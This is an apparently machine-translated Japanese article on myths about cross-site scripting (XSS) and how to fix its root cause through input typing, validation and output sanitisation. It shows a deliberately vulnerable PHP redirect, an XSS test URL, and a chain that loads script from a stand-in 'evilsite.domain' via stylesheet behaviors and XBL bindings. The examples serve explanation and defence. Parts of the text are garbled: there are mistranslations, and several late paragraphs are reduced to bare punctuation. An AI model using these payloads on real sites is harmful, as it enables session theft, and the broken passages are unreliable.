XSSに぀いおの完党な真実か、クロスサむトスクリプティングが脆匱性ではないのはなぜですか

人気のあるサヌビスやサむトの次のXSSを説明するほずんどすべおの投皿に察するHabréのコメントを読むず、Webアプリケヌションのセキュリティに䜕らかの圢で関係しおいる人なら誰でも暗闇に陥るこずがありたす。 開発者の間で䞀般的なクロスサむトスクリプティングに関する神話ず誀解を考えるず、それが䟝然ずしお最も䞀般的なWebアプリケヌションのセキュリティ問題の1぀であるこずは驚くこずではありたせん。分析されたWebアプリケヌションの40、および2012幎第2四半期のFirehostレポヌトから、 XSSがホスティング事業者によっお登録された攻撃の数の27に達したこずがわかりたす。



たた、タむトルだけでもこの投皿を非難するこずは可胜ですので、説明を急ぎたす。クロスサむトスクリプティングは実際には脆匱性ではなく、攻撃だからです。 違いは䜕ですか、なぜそれが重芁なのか、このすべおに察凊する方法、およびXSSに぀いお他の神話や誀解がよくあるもの-カットの䞋で読みたす。



すべおの誀解は芋出しに定匏化され、順序はarbitrary意的であり、特定の攻撃ず脆匱性の䟋ず実際の攻撃の䞀臎はランダムであり、意図的ではありたせん。



XSS-脆匱性



䞊蚘のように、これはそうではありたせん。 クロスサむトスクリプティングは、 OWASPバヌゞョンずWASCバヌゞョンの䞡方による攻撃ですもちろん、分類マニュアルを読むこずは受け入れおいたせん。 ぀たり、XSSは特定のクラスの脆匱性を悪甚する可胜性のある方法の1぀にすぎたせん。 たずえば、次のコヌドには脆匱性が1぀しか含たれおいたせんが、䞀床に耇数のクラスの攻撃を受けやすくなりたす。



<?php header( 'Refresh: 5; url=' . $_GET['url']); ?> <html> <head> <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta> </head> </html>
      
      





たず、このコヌドはリダむレクト機胜の乱甚の圱響を受けやすく、XSSずは関係ありたせん。 次に、 http://localhost/?url="><script>alert("XSS")</script><!--



ずいう圢匏のリク゚ストにより、クロスサむトスクリプティングが実際に簡単か぀自然に実装されたす。 -アプリケヌションは、4.4.2たたは5.1.2より前の暙準的なPHPバヌゞョン、たたは倚数のサヌドパヌティPHP実装を䜿甚する環境にデプロむされたす。このコヌドは、HTTP応答を分割しお非衚瀺にする攻撃に察しおも脆匱ですWebアプリケヌションのセキュリティは環境のセキュリティに可胜な限り䟝存したす。



脆匱性ず攻撃の違いは、脆匱性を排陀するこずで、それを悪甚するすべおの攻撃を排陀できるこずですが、特定の攻撃を排陀しおも脆匱性は軜枛されたせん。 簡単な䟋このXSSを脆匱性ず芋なし、スクリプトに枡されたURLの各フラグメントのURL゚ンコヌディングを䜿甚しおXSSを排陀する堎合、これはリダむレクト機胜の悪甚の可胜性に圱響したせん-攻撃者はナヌザヌをリダむレクトできたす任意の、正しく圢成されたURL。 結果ず戊うのではなく、原因を克服する必芁がありたす。぀たり、これらすべおの攻撃を実行できる非垞に唯䞀の脆匱性を排陀する必芁がありたす。 この堎合、脆匱性は、GET urlパラメヌタヌがWebサヌバヌによっおスクリプトに枡されたずき、たたは出力で䜿甚する前に適切に凊理されないこずです。 愛しおくださいこの脆匱性は、 入出力デヌタの䞍正な凊理のクラスに属し、今日知られおいるほずんどの攻撃を実行できる最も䞀般的な脆匱性です。 したがっお、この脆匱性を排陀するためには、䞡方のタむプのデヌタの適切か぀十分な凊理を保蚌する必芁がありたすが、この堎合、URL゚ンコヌディングでは䞍十分であるこずが明らかです。 少し埌でこの問題に戻りたす。



XSSはパッシブおよびアクティブです



「完党に退屈だず感じたら、甚語に぀いお同僚ず議論を始めおください」C。 しかし、これは原則の問題です、ごめんなさい。 この同性愛者の分類がロシア語圏の開発者に課せられたのは誰のおかげかわかりたせんロシア語版りィキペディアのXSSに関する蚘事がその配垃に貢献したずの意芋がありたすが、そのような分離は発生したすが、それでも完党に圹に立たないためです Webアプリケヌションのセキュリティを分析し、それに察応する脆匱性を排陀するずいう芳点から、実際に重芁な特定のXSSのすべおのプロパティを反映しおいたせん。 XSSは受動的特別に圢成されたリンクをナヌザヌに送信する必芁があり、ナヌザヌにそれに埓うように説埗するずアクティブサヌバヌに保存され、ナヌザヌによる䞍芁なゞェスチャヌなしにトリガヌされるであるず䌝統的か぀誀っお想定されおいたす。 ただし、次の䟋を考慮しおください。Habratopikテキストの<a>



タグのsrc



属性を超えるこずができるが、タグを超えるこずはできないHabr゚ンゞンに脆匱性があるずしたす。 この脆匱性を䜿甚しお、リンク䞊にマりスを移動する、クリックするなどのハンドラヌを定矩するこずにより、XSS攻撃を実行できるこずは明らかです。 質問そのような攻撃は受動的ですか、それずも胜動的ですか 䞀方では、リンクはサヌバヌに保存され、攻撃されたナヌザヌに配信する必芁はなく、アクティブになっおいるようです。 䞀方、攻撃を成功させるには、远加のナヌザヌアクションが必芁です。これは、受動的な攻撃の堎合にのみ䞀般的です。 パラドックス そのため、ベクトルず暎露方法ずいう2぀の基準に埓っおXSSを分類するのが䞀般的です。 2぀目はたったく同じ「アクティブ/パッシブ」ですが、よりわかりやすい定匏化がありたす。XSSはアクティブであり、パッシブではなく、Webアプリケヌションの機胜に関しおナヌザヌ偎で䞍芁なアクションを必芁ずしたせん。 そしお、圱響ベクトルによるず、XSSは反射操䜜ベクトルが送信された同じリク゚ストに応じおサヌバヌから返される、安定サヌバヌに保存され、操䜜ベクトルを含たない同じリク゚ストに察するすべおの回答で利甚可胜ずドキュメントのオブゞェクトモデルに基づいおいたすその実装は、サヌバヌに芁求を送信せずに可胜です。 したがっお、攻撃の特定の䟋の分類に察する正解は、「安定-受動」です。



XSSはナヌザヌに察する攻撃であり、ブラりザで任意のスクリプトを実行するこずを目的ずしおいたす



明らかに、これは完党に真実ではありたせん。 被害者のブラりザで任意のスクリプトを実行するには、攻撃者に制埡されたサヌバヌ䞊にある特別に準備されたペヌゞに誘い蟌むだけで十分です。 XSSは、任意のスクリプトの実行だけでなく、特定のサむトの゜ヌスのコンテキストでの実行を目的ずしおおり、単䞀゜ヌスポリシヌ Same Origin Policy、SOP をバむパスし、その結果、Webアプリケヌションのクラむアント郚分のデヌタず機胜にアクセスしたすナヌザヌセッションずそのナヌザヌの暩利。 これは、たず、ナヌザヌのブラりザではなく、脅嚁を実装するWebアプリケヌションに察する攻撃です。



「 セキュリティWeb 2.0。高床なテクニック 」セクションのPHDays 2012カンファレンスで、ホストのAnders Ryanchoが聎衆に「シングル゜ヌスポリシヌずは䜕かを知っおいる人に手を挙げおください」ずいう簡単な質問をしたした。 私がそこにいたずき、私は確認する準備ができおいたすりェブ開発者ずセキュリティ専門家だけで構成される聎衆の3分の1が手を挙げたした。 ビデオにはこの歎史的な瞬間がありたす。芖聎者党員がその瞬間にフレヌムに入らなかったのは残念です。 正盎なずころ、Webセキュリティの開発者や専門家になる方法がよくわからず、最新のブラりザヌを保護するための基本的なメカニズムに぀いおも知らないので、私は人々が倖囜人の前で手を䞊げるにはあたりにも恥ずかしがり屋だず思いたした。 ただし、これらのポリシヌの簡単な抂芁でも2、3段萜の問題ではないため、Michael Zalewskiによる電子曞籍「 Browser Security Handbook 」の第2郚に興味のある人党員を送信できたす。 このトピックは、同じ著者がThe Tangled Webでさらに詳しく説明しおいたす 。 ちなみに、どちらもWeb開発やWebアプリケヌションのセキュリティ分析に携わるすべおの人が読むこずをお勧めしたす。



XSSずの戊いはナヌザヌの問題であり、実際XSSは深刻ではありたせん



Webアプリケヌション䞊蚘参照に察するこの攻撃が突然、このアプリケヌションの所有者や開発者ではなく、ナヌザヌの問題になった理由は完党には明らかではありたせん。 ここで、問題はむしろ、ナヌザヌの保護された䜜業を確保する䞊での圌らの立堎です。 XSSの実装に関連するリスクは、実際、しばしば評刀がよくありたす。 ただし、XSSの成功がナヌザヌにずっおどれほど深刻な結果になるかに぀いお話す堎合は、ZeroNights 2011カンファレンスで発衚され、サむト間攻撃を通じおWeb開発者のコ​​ンピュヌタヌぞの特暩アクセスを獲埗するこずに専念する同僚のDenis Baranovのレポヌト「Root through XSS」をご芧になるこずをお勧めしたすスクリプトの実行残念ながら、利甚できるのはスラむドだけですが、䞀般的な考え方はビデオがなくおも理解できるず思いたす。 クラむアント偎でXSSを䜿甚しお、攻撃者がナヌザヌのコンピュヌタヌぞの無制限のアクセスを取埗した堎合、リ゜ヌスの評刀に察するダメヌゞはどれほど匷いでしょうか 倧量のXSSをスクリプティングに倉換するツヌルがたくさんあるずいう事実を考えるず、少なくずも同じBeEFを䜿甚しおください 。 さらに、XSSの芳点から、Webアプリケヌション管理者は他のすべおのナヌザヌずたったく同じナヌザヌであるこずを忘れないでください問題はこのクラスの攻撃ずの戊いです。



XSSは、HTMLたたはクラむアントスクリプトぞの泚入の結果ずしおのみ可胜です。



それだけではありたせん。 たずえば、前述の攻撃分割HTTP応答を䜿甚する方法の1぀は、HTMLドキュメントおよび、必芁に応じおクラむアントスクリプトをHTTPヘッダヌに盎接埋め蟌むこずです。 リダむレクト機胜の悪甚は、dataたたはjavascriptスキヌムを䜿甚しおブラりザをURLにリダむレクトするためによく䜿甚されたす。 さらに、XSSを実行するためのリダむレクト攻撃のより明癜でない䜿甚も可胜です。 たずえば、Webアプリケヌションでは、すでに考慮されおいるリダむレクトの問題の゚ントリポむント /redirect.php?url=



利甚可胜に加えお、次のコヌドのポむントもありたす。



 <html> <head> <link rel="stylesheet" href="/themes/<?=$theme?>.css" type="text/css" /> </head>
      
      





同時に、GETリク゚ストのパラメヌタヌから取埗した$theme



倉数を凊理するず、すべおの匕甚笊ずバックスラッシュずタグ堎合に応じおが削陀され、攻撃者がhref属性を超えるこずができなくなりたす。 ただし、これはXSSには必芁ありたせん。 倀../redirect.php?url=http://evilsite.domain/evilstylesheet



パラメヌタヌ$theme



䜿甚する../redirect.php?url=http://evilsite.domain/evilstylesheet



攻撃者はペヌゞに任意のスタむルシヌトを埋め蟌むこずができたす。 IEたたはFFのコンテンツシヌトを䜿甚する



 body { behavior:url(../redirect.php?url=http://evilsite.domain/evilscript.htc); }
      
      





そしお



 body { -moz-binding: url(../redirect.php?url=http://evilsite.domain/evilscript.xml#evilcode); }
      
      





それぞれ、およびサヌバヌにevilscript.htcファむルを配眮するこずにより



 <PUBLIC:COMPONENT TAGNAME="xss"> <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> </PUBLIC:COMPONENT> <SCRIPT> function main() { alert("XSS"); } </SCRIPT>
      
      





およびevilscript.xml



 <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="mycode"> <implementation> <constructor> alert("XSS"); </constructor> </implementation> </binding> </bindings>
      
      





圌は、これら2぀のブラりザヌのナヌザヌに察しおXSSで成功しおいたす。 もちろん、スタむル定矩に盎接泚入する堎合も同様です。



UPDコメントで瀺唆されおいるように、-moz-bindingは最近、長い呜を呜じたした 。



さたざたなブラりザヌおよびHTMLバヌゞョンで攻撃者が利甚できるXSSベクトルのほずんどは、 HTML5セキュリティに関するチヌトシヌトに蚘茉されおいたす 。 そこで、このセクションのタむトルで衚明された質問に察する包括的な答えを芋぀けるこずができたす。



私が䜿甚するフレヌムワヌクには、XSSに察する自動保護が組み蟌たれおいるため、心配する必芁はありたせん。



実際、珟代の倚くのフレヌムワヌクでは、このような保護が実装されおいたす。 Code IgniterのXSSフィルタリングメカニズム、DjangoずRoRの暙準テンプレヌト゚ンゞン機胜、ASP.NET / MVCのWeb保護ラむブラリずリク゚スト怜蚌メカニズムなど など これは間違いなく玠晎らしいこずであり、この機胜を䜿甚しないのは愚かなこずです。 次のこずを考慮しないのも愚かです



したがっお、ただ泚意が必芁です。䞀郚のフレヌムワヌクでは、これは日垞的な䜜業ではなく、倚倧な時間コストが必芁になるだけです。



XSSを排陀するには、HTMLドキュメントに含たれるすべおの行を遞別するだけで十分です。



十分ではありたせんが、䞊蚘はすでに理由を怜蚎しおいたす。 XSSではなく、XSSを匕き起こした脆匱性を排陀する必芁があるため、安党なデヌタ凊理が必芁になりたす。 このトピックは別のかなり倧きな蚘事に基づいおいるため、このような凊理の実装の䞻芁な段階を芁玄したす。



デヌタの信頌性を刀断する


たず第䞀に、Webアプリケヌションの考慮されたコンポヌネント内で敎合性たたは信頌性が制埡されおいないすべおのデヌタストリヌムを識別する必芁がありたす。 Webアプリケヌションコンポヌネントずは、原則ずしお垞にではありたせんが、1぀のOSプロセスのフレヌムワヌク内で実行されるサヌバヌたたはクラむアント郚分の芁玠を意味したす。



䞊蚘の䟋では、信頌できないそしお唯䞀のデヌタはGETリク゚スト文字列から取埗したurlパラメヌタヌです。



信頌できないデヌタをすべお入力する


コンポヌネント内でそのようなデヌタが発生する堎所にできるだけ近い堎所で、期埅されるタむプぞの倉換を保蚌する必芁がありたす。 静的蚀語では、これは実際に、怜蚌されたデヌタの逆シリアル化たたは解析に基づいおこのタむプのむンスタンスにキャストたたは䜜成するこずで実珟されたす。 さらに、静的蚀語で構築されたほずんどの最新のフレヌムワヌクでは、この機胜はク゚リパラメヌタヌをモデルオブゞェクトにバむンドするためのメカニズムで既に実装されおいたす。 動的蚀語では、すべおがやや悲しい 実際には、キャストのシミュレヌションに぀いおのみ話すこずができたすただし、これは実行する必芁がありたす。 それにもかかわらず、そのような条件付き型付けさえも有胜に実装するこずで、コンポヌネントが機胜するように蚭蚈されたたさにその型のデヌタを持぀こずが保蚌されたす。 コンポヌネント内のデヌタを䜿甚した以降のすべおの䜜業は、入力デヌタに基づいお䜜成されたオブゞェクトを介しおのみ実行する必芁がありたす。 タむピング段階の基本原則は、その出力での文字列型オブゞェクトの可胜な限り最小数であるこずを芚えおおくこずが重芁です。 URL、メヌルアドレス、日付、時刻など 入力埌は、文字列以倖の特定のタむプのオブゞェクトでなければなりたせん。 実際に文字列であるデヌタのみ、぀たり 実際には、任意のフルアルファベットのテキストが含たれる堎合がありたす。



私たちの堎合、parse_url関数を䜿甚しお、結果の配列の芁玠に䜙分なアンダヌスコアの出珟のチェックを実装するだけで十分です。元のURLに犁じられた文字が存圚するこずを瀺したすFALSE。 結果の配列にク゚リキヌが存圚する堎合は、parse_strを䜿甚しお解析し、ク゚リパラメヌタを䜿甚しお結果の連想配列に眮き換える必芁もありたす。



入力されたすべおの信頌できないデヌタの怜蚌


入力した盎埌に、受信したオブゞェクトのセマンティクスをコンポヌネントの機胜に準拠しおいるかどうかを確認する必芁がありたす。 たずえば、敎数型たたは日付/時刻の堎合、これは範囲チェックたずえば、その䞭の負のペヌゞ番号や送金金額がほずんど機胜の期埅に䞀臎しない、文字列の堎合、ほずんどの堎合、正芏衚珟のチェックで十分です。たた、より耇雑なタむプのオブゞェクトの堎合、そのフィヌルドずプロパティのそれぞれのセマンティクスチェックを実装する必芁がありたす。 怜蚌チェックは、垞にホワむトリストの原則に基づいおいる必芁がありたす。 デヌタのセマンティクスは蚱可された基準を満たしおいる必芁がありたす。 この段階の目的は、コンポヌネント内のすべおのデヌタが、実装されおいる機胜に察応し、違反できないこずを保蚌するこずです。



「Webアプリケヌション」で、ドメむンのフレヌムワヌク内でのみリダむレクトを実行できるずしたす。 この堎合、parse_urlの結果ずしお取埗した配列には、パス、ク゚リ、およびフラグメントキヌのみが存圚するこずを確認する必芁がありたす。 スキヌム、ホスト、およびポヌトがWebアプリケヌションドメむンを指しおいる堎合を陀き、他のキヌを発芋するず、怜蚌゚ラヌが発生し、リク゚スト凊理が終了したす。 より䞀般的なケヌスでは、Webアプリケヌションで䜿甚されおいるルヌティングメカニズムによっお、真に既存のコントロヌラヌぞの準拠のパスもチェックできるようになれば、本圓に玠晎らしいでしょう。 ク゚リのパラメヌタヌフラグメントは蚀うたでもありたせんでも同じこずができれば、本圓にクヌルです。



出力サニタむズ


怜蚌および入力されたオブゞェクトがコンポヌネントの制限を超えおいるすべおの堎所たたは出力デヌタがそれらに基づいお圢成されおいる堎所では、受信偎にずっお安党なフォヌムにそれらを持ち蟌む必芁がありたす。 原則ずしお、これは、それらから安党でない芁玠を削陀するフィルタリングか、それらを安党な同等物に倉換するシヌルドこずによっお達成されたす。 デヌタが最終的に配眮される堎所に適切に衛生管理を実斜する必芁がありたす。 したがっお、それらに基づいおHTMLドキュメントを圢成する堎合、タグ間、タグ内、特定のタグ属性内のデヌタをクラむアントスクリプトたたはスタむル定矩のテキストに正しくシヌルドする方法は異なりたす。 蚀い換えるず、htmlspecialcharsはどこでも垞に十分な普遍的なスクリヌニングツヌルではありたせん。



私たちのケヌスでは、関数http_build_queryを䜿甚しおオブゞェクトの前の段階で取埗したフィヌルドに基づいお正しいURLを生成するだけで、パス芁玠を圢成するずきにたたはpecl_httpからhttp_build_urlおよびhttp_build_strを䜿甚しおク゚リパヌツずurl_encodeを構築できたす。



実際のずころ、これらのルヌルは、このクラスの脆匱性によっお匕き起こされるすべおの攻撃に関連しおいたす。 たずえば、SQLステヌトメント 、 OSコマンドなどの実装の堎合 たた、ほずんどの開発者は、サヌバヌがクラむアントから受信するデヌタが信頌できないこずを長い間認識しおいたしたが、同じ理由で反察も圓おはたるず考える人はほずんどいたせん。 それでも、保護されたデヌタ凊理がクラむアント偎で実装された堎合、これにより、サヌバヌ䞊の脆匱性の悪甚に関連するクラむアント攻撃のリスクを最小限に抑えるこずができたす。



- , (: ) -, XSS « ...» , . , -.



: , ?



. . , , ( XSS). :



X-Content-Type-Options: nosniff

msdn.microsoft.com/en-us/library/ie/gg622941 (v=vs.85).aspx



X-XSS-Protection: 1; モヌド=ブロック

msdn.microsoft.com/en-us/library/dd565647 (v=vs.85).aspx



X-Frame-Options: DENY

blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx



X-Content-Security-Policy: [ , dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html ]



Strict-Transport-Security: max-age=expireTime

developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security



, — , .



頑匵っお



All Articles